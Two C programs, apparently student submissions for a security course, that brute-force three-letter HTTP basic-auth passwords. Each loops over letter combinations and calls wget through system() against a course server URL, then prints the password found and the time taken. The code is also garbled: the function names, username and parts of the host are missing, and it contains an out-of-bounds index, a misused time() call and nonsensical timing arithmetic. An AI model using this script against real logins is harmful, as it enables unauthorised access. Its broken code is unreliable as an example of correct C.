#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>

int ()
{
  char url[80], url1[80];
  int i, j, k, syst = 1, nofattempts = 0;
  char c1, c2, c3, pass[4];
  int time_var,time1,time2, timeinsec;
  time1 = time();

  char itoa[52] = "aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ";

  strcpy(url, "wget --http-user= --http-passwd=");
  strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");

  for (i = 1; i <= 52; i++)
  {
    for (j = 1; j <= 52; j++)
    {
      for (k = 1; k <= 52; k++)
      {
          fflush(stdin);
          c1 = itoa[i];
          c2 = itoa[j];
          c3 = itoa[k];
          pass[0] = c1;
          pass[1] = c2;
          pass[2] = c3;
    	  pass[3] = '\0';
          strcat(url, pass);
          strcat(url, url1);
	      ++nofattempts;
          syst = system(url);
          printf("%s\n",pass);
          if (syst == 0)
          {
            time2 = time();
            time_var = time2 - time1;
            timeinsec = time_var / 1000000000;
            printf("  Number of Attempts  is %d", nofattempts);
            printf("\n Found it! The Password is: %s\n", pass);
            printf("\n The time_var taken  crack the password by brute force is %lld seconds\n", timeinsec);
            exit(1);
          }
	      strcpy(url, "");
    	  strcpy(url, "wget --http-user= --http-passwd=");
      }
    }
  }
  exit(0);
}



#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
char a[100],c[100],c1[100],c2[100],m[50];
char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

int i,j,k,count=0;
int  total_time,start_time,end_time;
start_time = time();


for(i=0;i<52;i++)
{
	
	m[0]=b[i];
	m[1]='\0';
	strcpy(c,m);
	printf("%s \n",c);
	for(j=0;j<52;j++)
	{
	m[0]=b[j];
	m[1]='\0';
	strcpy(c1,c);
	strcat(c1,m);
	printf("%s \n",c1);
	for(k=0;k<52;k++)
	{
		count++;
		printf("ATTEMPT :%d\n",count);
		
		m[0]=b[k];
		m[1]='\0';
		strcpy(c2,c1);
		strcat(c2,m);

strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");

		strcat(a,c2);		
		if(system(a)==0)
		{
		printf("Congratulations!!!!BruteForce Attack Successful\n");
		printf("***********************************************\n");
		printf("The Password is %s\n",c2);
		printf("The Request sent is %s\n",a); 
                end_time = time();
                total_time = (end_time -start_time);
                total_time /= 1000000000.0;
                printf("The Time Taken is : %llds\n",total_time);
		exit(1);
		}
		
		
		
		
	}

}
}
return 0;
}
